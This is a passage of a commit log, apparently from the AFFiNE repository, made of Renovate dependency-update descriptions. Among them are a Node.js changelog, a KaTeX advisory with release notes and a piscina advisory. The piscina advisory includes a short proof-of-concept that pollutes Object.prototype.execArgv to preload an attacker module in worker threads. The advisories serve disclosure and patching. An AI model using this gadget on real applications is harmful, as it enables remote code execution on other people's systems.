GitHub Bot) [#​63375](https://redirect.github.com/nodejs/node/pull/63375) - \[[`5286330365`](https://redirect.github.com/nodejs/node/commit/5286330365)] - **deps**: update corepack to 0.34.7 (Node.js GitHub Bot) [#​62810](https://redirect.github.com/nodejs/node/pull/62810) - \[[`6d6c3c98b1`](https://redirect.github.com/nodejs/node/commit/6d6c3c98b1)] - **deps**: update timezone to 2026b (Node.js GitHub Bot) [#​62962](https://redirect.github.com/nodejs/node/pull/62962) - \[[`e306521444`](https://redirect.github.com/nodejs/node/commit/e306521444)] - **deps**: update icu to 78.3 (Node.js GitHub Bot) [#​62324](https://redirect.github.com/nodejs/node/pull/62324) - \[[`d9cb8468a3`](https://redirect.github.com/nodejs/node/commit/d9cb8468a3)] - **doc**: clarify `filter` option of `sqlite.database.applyChangeset` (Antoine du Hamel) [#​63515](https://redirect.github.com/nodejs/node/pull/63515) - \[[`c9c5662d91`](https://redirect.github.com/nodejs/node/commit/c9c5662d91)] - **doc**: add sxa GPG key ([`ed25519`](https://redirect.github.com/nodejs/node/commit/ed25519)) (Stewart X Addison) [#​64193](https://redirect.github.com/nodejs/node/pull/64193) - \[[`37f21068c4`](https://redirect.github.com/nodejs/node/commit/37f21068c4)] - **fs**: restore fs patchability in ESM loader (Joyee Cheung) [#​62835](https://redirect.github.com/nodejs/node/pull/62835) - \[[`7c2df5dd96`](https://redirect.github.com/nodejs/node/commit/7c2df5dd96)] - **http2**: avoid uaf while receiving and sending rst_stream (esgor) [#​64166](https://redirect.github.com/nodejs/node/pull/64166) - \[[`3909ff2c4a`](https://redirect.github.com/nodejs/node/commit/3909ff2c4a)] - **node-api**: support SharedArrayBuffer in napi_create_typedarray (Yilong Li) [#​62710](https://redirect.github.com/nodejs/node/pull/62710) - \[[`66de6349ad`](https://redirect.github.com/nodejs/node/commit/66de6349ad)] - **node-api**: add napi_create_external_sharedarraybuffer (Ben Noordhuis) [#​62623](https://redirect.github.com/nodejs/node/pull/62623) - \[[`ce9139107f`](https://redirect.github.com/nodejs/node/commit/ce9139107f)] - **src**: escape Windows environment variables in task runner (Antoine du Hamel) [#​65217](https://redirect.github.com/nodejs/node/pull/65217) - \[[`839480a471`](https://redirect.github.com/nodejs/node/commit/839480a471)] - **test**: fix link-local dgram scope assertion (Filip Skokan) [#​65629](https://redirect.github.com/nodejs/node/pull/65629) - \[[`40eac4a32f`](https://redirect.github.com/nodejs/node/commit/40eac4a32f)] - **test**: account for varied OpenSSL CCM final behaviours (Filip Skokan) [#​65542](https://redirect.github.com/nodejs/node/pull/65542) - \[[`75098a9e8c`](https://redirect.github.com/nodejs/node/commit/75098a9e8c)] - **tools**: update gr2m/create-or-update-pull-request-action to v1.10.1 (Mike McCready) [#​63065](https://redirect.github.com/nodejs/node/pull/63065) - \[[`08b6ac0416`](https://redirect.github.com/nodejs/node/commit/08b6ac0416)] - **tools**: revert OpenSSL update workflow to ubuntu-latest (Richard Lau) [#​62627](https://redirect.github.com/nodejs/node/pull/62627) - \[[`02cafc479f`](https://redirect.github.com/nodejs/node/commit/02cafc479f)] - **tools**: fix commit linter for semver-major release proposals (Antoine du Hamel) [#​62993](https://redirect.github.com/nodejs/node/pull/62993) - \[[`6f6cd3768d`](https://redirect.github.com/nodejs/node/commit/6f6cd3768d)] - **tools**: sync mk-ca-bundle.pl with curl (Archkon) [#​64753](https://redirect.github.com/nodejs/node/pull/64753) - \[[`bc5753d438`](https://redirect.github.com/nodejs/node/commit/bc5753d438)] - **tools**: remove `envinfo` from our workflows (Antoine du Hamel) [#​64259](https://redirect.github.com/nodejs/node/pull/64259) - \[[`d68ee9f8a5`](https://redirect.github.com/nodejs/node/commit/d68ee9f8a5)] - **tools**: validate version number in release proposal commit message lint (Antoine du Hamel) [#​64070](https://redirect.github.com/nodejs/node/pull/64070) - \[[`38ee2e895f`](https://redirect.github.com/nodejs/node/commit/38ee2e895f)] - **tools**: avoid test/fixtures/wpt/README.md conflicts (Filip Skokan) [#​63938](https://redirect.github.com/nodejs/node/pull/63938) - \[[`fdc65e489f`](https://redirect.github.com/nodejs/node/commit/fdc65e489f)] - **tools**: use different branch for tool updates on staging branches (Antoine du Hamel) [#​63110](https://redirect.github.com/nodejs/node/pull/63110) - \[[`e5a6fde002`](https://redirect.github.com/nodejs/node/commit/e5a6fde002)] - **tools**: update gyp-next to 0.22.1 (Node.js GitHub Bot) [#​62961](https://redirect.github.com/nodejs/node/pull/62961) - \[[`5fbbad6e82`](https://redirect.github.com/nodejs/node/commit/5fbbad6e82)] - **url**: handle unparsable serialized URLs in setters (Matteo Collina) [#​64651](https://redirect.github.com/nodejs/node/pull/64651) - \[[`ed019e4854`](https://redirect.github.com/nodejs/node/commit/ed019e4854)] - **util**: preserve function names without source map names (Hiroki Osame) [#​65108](https://redirect.github.com/nodejs/node/pull/65108) </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>v2026.10.8-canary.912 |
||
|
|
6bb64575b1 |
chore: bump up piscina version to v5.3.2 [SECURITY] (#15681)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [piscina](https://redirect.github.com/piscinajs/piscina) | [`5.2.0` → `5.3.2`](https://renovatebot.com/diffs/npm/piscina/5.2.0/5.3.2) |  |  | --- ### piscina: Prototype-pollution gadget in ThreadPool.options allows RCE via execArgv / loadBalancer / env [CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992) / [GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) <details> <summary>More information</summary> #### Details ##### Summary A prototype-pollution gadget in `ThreadPool.options` allows an attacker who can pollute `Object.prototype` to execute arbitrary code in Piscina worker threads, invoke arbitrary functions during task scheduling, or inject environment variables into workers. The root cause is that `ThreadPool.options` is created as a plain object inheriting from `Object.prototype`, so any option without an explicit default in `kDefaultOptions` can be supplied via the prototype chain. ##### Details In `src/index.ts` the `ThreadPool` constructor builds the resolved options object as a plain object: ```ts this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 } ``` Because this object has `Object.prototype` as its prototype, reads for properties that are not own properties of the object and are not present in `kDefaultOptions` fall back to `Object.prototype`. This means a prototype-pollution primitive (e.g. from a vulnerable `merge()` or `JSON.parse` merge elsewhere in the application) can inject values for `execArgv`, `env`, `loadBalancer`, `argv`, `workerData`, `resourceLimits`, `niceIncrement`, `closeTimeout`, `recordTiming`, `stricterFIFO`, `workerHistogram`, and `trackUnmanagedFds`. The most serious gadget is `execArgv`, which is passed directly to `new Worker(..., { execArgv })`. An attacker can set `Object.prototype.execArgv = ['--require', '/tmp/attacker.js']`, causing every worker to preload and execute the attacker-controlled module on startup. This issue survived the fix for **GHSA-x9g3-xrwr-cwfg / CVE-2026-55388** ("Prototype Pollution Gadget → RCE via inherited options.filename"). That advisory hardened the `Piscina` constructor's `filename` read and `run()`'s `filename`/`name` reads, but `ThreadPool.options` itself was not created with a null prototype. The same class of attack is therefore still possible against any option without an explicit default in `kDefaultOptions`. ##### PoC ```js import { resolve } from 'node:path' import Piscina from 'piscina' Object.prototype.execArgv = ['--require', '/tmp/attacker.js'] const pool = new Piscina({ filename: resolve(import.meta.dirname, 'worker.js'), minThreads: 1, maxThreads: 1, }) await pool.run(1) ``` `/tmp/attacker.js` is executed in the worker on startup. A full reproduction repository with `execArgv`, `loadBalancer`, and `env` vectors is available at https://github.com/Fcmam5/piscina-pp-poc. ##### Impact - **Remote Code Execution**: via `execArgv` (arbitrary `--require` module preloaded in every worker on spawn). - **Arbitrary code execution in the main thread**: via `loadBalancer`, an attacker-supplied function that is called during task scheduling. - **Environment/CLI option injection**: via `env`, which is passed to each worker constructor. - **Denial of Service / unexpected behavior**: via other reachable options such as `workerData`, `resourceLimits`, `niceIncrement`, `closeTimeout`, `recordTiming`, etc. Anyone using Piscina in an application where `Object.prototype` can be polluted (e.g. through a dependency with a prototype-pollution vulnerability) is impacted. #### Severity - CVSS Score: 9.2 / 10 (Critical) - Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N` #### References - [https://github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/piscinajs/piscina/security/advisories/GHSA-67c8-pqhq-4rmx) - [https://nvd.nist.gov/vuln/detail/CVE-2026-102992](https://nvd.nist.gov/vuln/detail/CVE-2026-102992) - [https://github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f](https://redirect.github.com/piscinajs/piscina/commit/0cb12fca37f526065b072592afe954574dcc656f) - [https://github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72](https://redirect.github.com/piscinajs/piscina/commit/2f69f67159a0e48b38fd61fa4a91c2fdc19fff72) - [https://github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7](https://redirect.github.com/piscinajs/piscina/commit/5be7bbb19e3787bb698862cd516121a578d690f7) - [https://github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6](https://redirect.github.com/piscinajs/piscina/commit/bebbda255c2981cecddd36b171b94be2fd41c9a6) - [https://github.com/piscinajs/piscina/releases/tag/v4.9.4](https://redirect.github.com/piscinajs/piscina/releases/tag/v4.9.4) - [https://github.com/piscinajs/piscina/releases/tag/v5.3.2](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2) - [https://github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5](https://redirect.github.com/piscinajs/piscina/releases/tag/v6.0.0-rc.5) - [https://github.com/advisories/GHSA-67c8-pqhq-4rmx](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-67c8-pqhq-4rmx) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>piscinajs/piscina (piscina)</summary> ### [`v5.3.2`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.2) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.3.1...v5.3.2> ### [`v5.3.1`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.1) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1) #### What's Changed - docs: renew TestMu AI sponsor by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1137](https://redirect.github.com/piscinajs/piscina/pull/1137) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.3.0...v5.3.1> ### [`v5.3.0`](https://redirect.github.com/piscinajs/piscina/releases/tag/v5.3.0) [Compare Source](https://redirect.github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0) #### What's Changed - chore(deps): Bump shell-quote from 1.8.3 to 1.8.4 in /docs in the npm_and_yarn group across 1 directory by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1075](https://redirect.github.com/piscinajs/piscina/pull/1075) - chore(deps): Bump the npm_and_yarn group across 1 directory with 2 updates by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1081](https://redirect.github.com/piscinajs/piscina/pull/1081) - chore: update sponsors by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1084](https://redirect.github.com/piscinajs/piscina/pull/1084) - \[Backport v5] chore: Enhance SECURITY.md with detailed security policy by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1092](https://redirect.github.com/piscinajs/piscina/pull/1092) - chore(deps): Bump websocket-driver from 0.7.4 to 0.7.5 in /docs in the npm_and_yarn group across 1 directory by [@​github-actions](https://redirect.github.com/github-actions)\[bot] in [#​1110](https://redirect.github.com/piscinajs/piscina/pull/1110) - feat: add stricterFIFO option for queue fairness ([#​1100](https://redirect.github.com/piscinajs/piscina/issues/1100)) by [@​metcoder95](https://redirect.github.com/metcoder95) in [#​1113](https://redirect.github.com/piscinajs/piscina/pull/1113) **Full Changelog**: <https://github.com/piscinajs/piscina/compare/v5.2.0...v5.3.0> </details> --- ### Configuration 📅 **Schedule**: (UTC) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied. ♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/toeverything/AFFiNE). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4xMzQuMSIsInVwZGF0ZWRJblZlciI6IjQ0LjEzNC4xIiwidGFyZ2V0QnJhbmNoIjoiY2FuYXJ5IiwibGFiZWxzIjpbImRlcGVuZGVuY2llcyJdfQ==--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> Co-authored-by: DarkSky <25152247+darkskygit@users.noreply.github.com>v2026.10.7-canary.910 |
||
|
|
1c90d02b0c |
chore: bump up katex version to ^0.18.0 [SECURITY] (#15680)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [katex](https://katex.org) ([source](https://redirect.github.com/KaTeX/KaTeX)) | [`^0.16.27` → `^0.18.0`](https://renovatebot.com/diffs/npm/katex/0.16.47/0.18.2) |  |  | --- ### KaTeX: Existing prototype pollution can bypass trust restrictions [CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) / [GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) <details> <summary>More information</summary> #### Details ##### Impact KaTeX can act as a read-side prototype pollution gadget in applications where `Object.prototype` has already been polluted, or where an attacker can influence the prototype of the renderer options object. (KaTeX does not enable said prototype pollution. This advisory applies when combining KaTeX with other vulnerable software that allows for prototype pollution.) Affected versions may treat inherited properties from `Object.prototype` as renderer options, internal setting metadata, or namespace entries. In particular, an inherited `trust` value will be treated as though the application explicitly enabled trusted rendering, rather than using the documented default of `false`. With attacker-controlled mathematical expressions, this can produce links capable of user-interaction cross-site scripting or load attacker-selected external resources. Exploitation requires the consuming application to insert KaTeX output into a web page without a separate sanitizer. (KaTeX does not execute scripts merely by rendering an expression.) Other inherited settings can alter rendering behavior or resource limits. Inherited setting metadata can affect how defaults and supplied options are processed, while inherited namespace properties can be mistaken for defined macros or other internal values. ##### Patches Upgrade to KaTeX v0.18.2 to remove this vulnerability. ##### Workarounds - Address any prototype-pollution vulnerability in the application or its dependencies. - `delete Object.prototype.trust`, `delete Object.prototype.default`, and `delete Object.prototype.processor` before calling KaTeX - Do not allow untrusted input to control the renderer options object or its prototype. - Sanitize KaTeX-generated HTML before inserting it into a document. ##### Details KaTeX previously used ordinary JavaScript property access in the following contexts: - Renderer settings could be inherited from the prototype of the options object. - Internal `default` and `processor` setting metadata could be inherited from `Object.prototype`. - Namespace lookup could treat inherited properties as built-in definitions. - Namespace group restoration could preserve an inherited property as though it had been an explicitly defined value. The fix adds own-property checks to each of these paths. Inherited properties are no longer accepted as renderer settings, setting metadata, namespace definitions, or values to be restored after a group ends. ##### For more information If you have any questions or comments about this advisory: - Open an issue or security advisory in the [KaTeX repository](https://redirect.github.com/KaTeX/KaTeX/) - Email us at [katex-security@mit.edu](mailto:katex-security@mit.edu) #### Severity - CVSS Score: 2.1 / 10 (Low) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N` #### References - [https://github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/KaTeX/KaTeX/security/advisories/GHSA-238p-pmpm-9mq7) - [https://nvd.nist.gov/vuln/detail/CVE-2026-103923](https://nvd.nist.gov/vuln/detail/CVE-2026-103923) - [https://github.com/KaTeX/KaTeX/pull/4260](https://redirect.github.com/KaTeX/KaTeX/pull/4260) - [https://github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4) - [https://github.com/KaTeX/KaTeX/releases/tag/v0.18.2](https://redirect.github.com/KaTeX/KaTeX/releases/tag/v0.18.2) - [https://github.com/advisories/GHSA-238p-pmpm-9mq7](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-238p-pmpm-9mq7) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>KaTeX/KaTeX (katex)</summary> ### [`v0.18.2`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0182-2026-08-08) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.1...v0.18.2) ##### Bug Fixes - prevent prototype pollution in settings ([#​4260](https://redirect.github.com/KaTeX/KaTeX/issues/4260)) ([0adf7e7](https://redirect.github.com/KaTeX/KaTeX/commit/0adf7e77db6915d991803b29699f82b1ccf8d4f4)) ### [`v0.18.1`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#01811-2026-10-01) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.18.0...v0.18.1) ##### Features - handle character metrics warnings via `strict` ([#​4243](https://redirect.github.com/KaTeX/KaTeX/issues/4243)) ([4237070](https://redirect.github.com/KaTeX/KaTeX/commit/423707055a37803acafef4c1533832273192ea0e)) ### [`v0.18.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0180-2026-07-17) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.17.0...v0.18.0) ##### Features - prefix css classes ([#​4229](https://redirect.github.com/KaTeX/KaTeX/issues/4229)) ([6f5c44f](https://redirect.github.com/KaTeX/KaTeX/commit/6f5c44f69bae0703877a3a8d934e20c47bbbbc32)) ##### BREAKING CHANGES - users who apply custom styles or have allowlists targeting KaTeX's internal classes must update their selectors. ### [`v0.17.0`](https://redirect.github.com/KaTeX/KaTeX/blob/HEAD/CHANGELOG.md#0170-2026-05-22) [Compare Source](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.47...v0.17.0) ##### Performance Improvements - simplify `defineFunction` to avoid destructuring, improve typing ([#​4222](https://redirect.github.com/KaTeX/KaTeX/issues/4222)) ([fb604e6](https://redirect.github.com/KaTeX/KaTeX/commit/fb604e6ba63e99809e242d37f9c8359209d55431)) ##### BREAKING CHANGES - The internal API for `__defineFunction` changed: you should no longer wrap properties in `props`. #### [0.16.47](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.46...v0.16.47) (2026-05-16) ##### Bug Fixes - correct size of `[` big delimiter ([#​4217](https://redirect.github.com/KaTeX/KaTeX/issues/4217)) ([7ba0027](https://redirect.github.com/KaTeX/KaTeX/commit/7ba0027d2f04abddd3b215362f867ab8260b09d7)), closes [#​4215](https://redirect.github.com/KaTeX/KaTeX/issues/4215) #### [0.16.46](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.45...v0.16.46) (2026-05-13) ##### Bug Fixes - preserve math font in some styling commands ([#​4214](https://redirect.github.com/KaTeX/KaTeX/issues/4214)) ([e9ee046](https://redirect.github.com/KaTeX/KaTeX/commit/e9ee0464ddb31da9bf9649eeb70e52236e7a974a)), closes [#​4213](https://redirect.github.com/KaTeX/KaTeX/issues/4213) #### [0.16.45](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.44...v0.16.45) (2026-04-05) ##### Bug Fixes - wrap vcenter mpadded in mrow for valid MathML ([#​4193](https://redirect.github.com/KaTeX/KaTeX/issues/4193)) ([ee66b78](https://redirect.github.com/KaTeX/KaTeX/commit/ee66b78d24340edbbd05b08a4a429ce9ed158b25)), closes [#​4078](https://redirect.github.com/KaTeX/KaTeX/issues/4078) #### [0.16.44](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.43...v0.16.44) (2026-03-27) ##### Bug Fixes - remove extra \jot space at bottom of align/gather/etc. ([#​4184](https://redirect.github.com/KaTeX/KaTeX/issues/4184)) ([3870ee9](https://redirect.github.com/KaTeX/KaTeX/commit/3870ee913e27fdde7bce244e4c6c5d63e2b28a62)) #### [0.16.43](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.42...v0.16.43) (2026-03-26) ##### Bug Fixes - use makeEm() consistently to truncate long CSS decimals ([#​4181](https://redirect.github.com/KaTeX/KaTeX/issues/4181)) ([0967dcc](https://redirect.github.com/KaTeX/KaTeX/commit/0967dcc0278f20d4501a93f01c7343c70abb3fcd)) #### [0.16.42](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.41...v0.16.42) (2026-03-24) ##### Features - \underbracket and \overbracket ([#​4147](https://redirect.github.com/KaTeX/KaTeX/issues/4147)) ([5be9abb](https://redirect.github.com/KaTeX/KaTeX/commit/5be9abb0b4d687a2a196b8adf9b5b9deeb60f7bc)) #### [0.16.41](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.40...v0.16.41) (2026-03-24) ##### Bug Fixes - \sout in text mode ([#​4173](https://redirect.github.com/KaTeX/KaTeX/issues/4173)) ([e748578](https://redirect.github.com/KaTeX/KaTeX/commit/e748578b63e07ad30d5e404e60b04e5e794c0a5a)) #### [0.16.40](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.39...v0.16.40) (2026-03-20) ##### Bug Fixes - **css:** specify position: relative for .katex ([#​4170](https://redirect.github.com/KaTeX/KaTeX/issues/4170)) ([020f0d8](https://redirect.github.com/KaTeX/KaTeX/commit/020f0d89567d59229bac5fc8d8f5832a9508a85f)) #### [0.16.39](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.38...v0.16.39) (2026-03-19) ##### Bug Fixes - middle dot in text mode ([#​4169](https://redirect.github.com/KaTeX/KaTeX/issues/4169)) ([edb45b0](https://redirect.github.com/KaTeX/KaTeX/commit/edb45b0b17c7b33349ce5142fe39156da05cb4d8)), closes [#​3641](https://redirect.github.com/KaTeX/KaTeX/issues/3641) #### [0.16.38](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.37...v0.16.38) (2026-03-08) ##### Bug Fixes - accent skew mixed with font specifiers ([#​4159](https://redirect.github.com/KaTeX/KaTeX/issues/4159)) ([aea3375](https://redirect.github.com/KaTeX/KaTeX/commit/aea33758d6c98896017007d0244885301773856a)), closes [#​4121](https://redirect.github.com/KaTeX/KaTeX/issues/4121) #### [0.16.37](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.36...v0.16.37) (2026-03-06) ##### Bug Fixes - negative-width `\hphantom` and symmetric `\smash` ([#​4153](https://redirect.github.com/KaTeX/KaTeX/issues/4153)) ([d4799ca](https://redirect.github.com/KaTeX/KaTeX/commit/d4799cae585d909e2a4e3dedbebdc2f142998ca9)) #### [0.16.36](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.35...v0.16.36) (2026-03-06) ##### Bug Fixes - contrib esm bloat ([#​4157](https://redirect.github.com/KaTeX/KaTeX/issues/4157)) ([2bde1ad](https://redirect.github.com/KaTeX/KaTeX/commit/2bde1adab2a23f61519145923329c915b04d4778)) #### [0.16.35](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.34...v0.16.35) (2026-03-05) ##### Bug Fixes - version number regression ([#​4155](https://redirect.github.com/KaTeX/KaTeX/issues/4155)) ([db26b73](https://redirect.github.com/KaTeX/KaTeX/commit/db26b733805f2d0d71e82596475b313c8706557e)) #### [0.16.34](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.33...v0.16.34) (2026-03-05) ##### Bug Fixes - emoji with variation selector ([#​4151](https://redirect.github.com/KaTeX/KaTeX/issues/4151)) ([c2606e5](https://redirect.github.com/KaTeX/KaTeX/commit/c2606e5db91ae199ee1ff0c8c2f7f9f70fcf589b)) #### [0.16.33](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.32...v0.16.33) (2026-02-23) ##### Bug Fixes - **scss:** forward variables to fonts module ([#​4146](https://redirect.github.com/KaTeX/KaTeX/issues/4146)) ([9349a64](https://redirect.github.com/KaTeX/KaTeX/commit/9349a64a051ca408da713baf061e32ade80ed22a)) #### [0.16.32](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.31...v0.16.32) (2026-02-22) ##### Bug Fixes - italic separation in \mathnormal ([#​4143](https://redirect.github.com/KaTeX/KaTeX/issues/4143)) ([71305a0](https://redirect.github.com/KaTeX/KaTeX/commit/71305a05140ca6203092bfdc14f689168b26ab8c)) #### [0.16.31](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.30...v0.16.31) (2026-02-22) ##### Bug Fixes - `\*frac` sizing ([#​4137](https://redirect.github.com/KaTeX/KaTeX/issues/4137)) ([ef51f18](https://redirect.github.com/KaTeX/KaTeX/commit/ef51f18ded4ab9ba54ba750f2866241c4676c41c)) #### [0.16.30](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.29...v0.16.30) (2026-02-22) ##### Bug Fixes - no line breaks after `\not` ([#​4140](https://redirect.github.com/KaTeX/KaTeX/issues/4140)) ([2d1ba86](https://redirect.github.com/KaTeX/KaTeX/commit/2d1ba86143bd45540d5a773cfa456081318f3f33)) #### [0.16.29](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.28...v0.16.29) (2026-02-22) ##### Bug Fixes - `\imath` and other `\html@mathml` macros in arguments ([#​4139](https://redirect.github.com/KaTeX/KaTeX/issues/4139)) ([a850cce](https://redirect.github.com/KaTeX/KaTeX/commit/a850cce7ccbf95a0b187313d1e54d8d40dfc7273)) #### [0.16.28](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.27...v0.16.28) (2026-01-25) ##### Bug Fixes - **type:** add missing types definition path to package.json ([#​4125](https://redirect.github.com/KaTeX/KaTeX/issues/4125)) ([0ef8921](https://redirect.github.com/KaTeX/KaTeX/commit/0ef8921d189346b0ff8f84a77f7f552349b76893)) #### [0.16.27](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.26...v0.16.27) (2025-12-07) ##### Features - support equals sign and surrounding whitespace in \htmlData attribute values ([#​4112](https://redirect.github.com/KaTeX/KaTeX/issues/4112)) ([c77aaec](https://redirect.github.com/KaTeX/KaTeX/commit/c77aaec00c766f5bb02e332a1dc416b82a65fe8f)) #### [0.16.26](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.25...v0.16.26) (2025-12-07) ##### Bug Fixes - \mathop followed by integral symbol ([6fbad18](https://redirect.github.com/KaTeX/KaTeX/commit/6fbad18857351e4d2a88ed3e3348bd76caad9be3)) #### [0.16.25](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.24...v0.16.25) (2025-10-13) ##### Features - **css:** provide `katex-swap.css` that uses `font-display: swap` ([#​3940](https://redirect.github.com/KaTeX/KaTeX/issues/3940)) ([b3f9ce6](https://redirect.github.com/KaTeX/KaTeX/commit/b3f9ce691e89a52dea7ec8f10cc6ed4ddc8fc161)), closes [#​2242](https://redirect.github.com/KaTeX/KaTeX/issues/2242) #### [0.16.24](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.23...v0.16.24) (2025-10-12) ##### Features - support hex colors with alpha ([#​4090](https://redirect.github.com/KaTeX/KaTeX/issues/4090)) ([8c9b306](https://redirect.github.com/KaTeX/KaTeX/commit/8c9b3063965acc0d6e6a0b6df4d051169de9e1a9)), closes [#​4067](https://redirect.github.com/KaTeX/KaTeX/issues/4067) [#fA6](https://redirect.github.com/KaTeX/KaTeX/issues/fA6) [#fA6f1](https://redirect.github.com/KaTeX/KaTeX/issues/fA6f1) #### [0.16.23](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.22...v0.16.23) (2025-10-03) ##### Bug Fixes - Support `\def` with arguments via `macros` option ([#​4087](https://redirect.github.com/KaTeX/KaTeX/issues/4087)) ([80a8158](https://redirect.github.com/KaTeX/KaTeX/commit/80a815856a8c26d78b3669e9c05fff00efe82247)) #### [0.16.22](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.21...v0.16.22) (2025-04-09) ##### Bug Fixes - \relax in base or exponent of super/subscript ([#​4045](https://redirect.github.com/KaTeX/KaTeX/issues/4045)) ([1f43c84](https://redirect.github.com/KaTeX/KaTeX/commit/1f43c84a175fb689f8c8d1d72b1e8b896a8b43d1)) #### [0.16.21](https://redirect.github.com/KaTeX/KaTeX/compare/v0.16.20...v0.16.21) (2025-01-17) ##### Bug Fixes - escape \htmlData attribute name 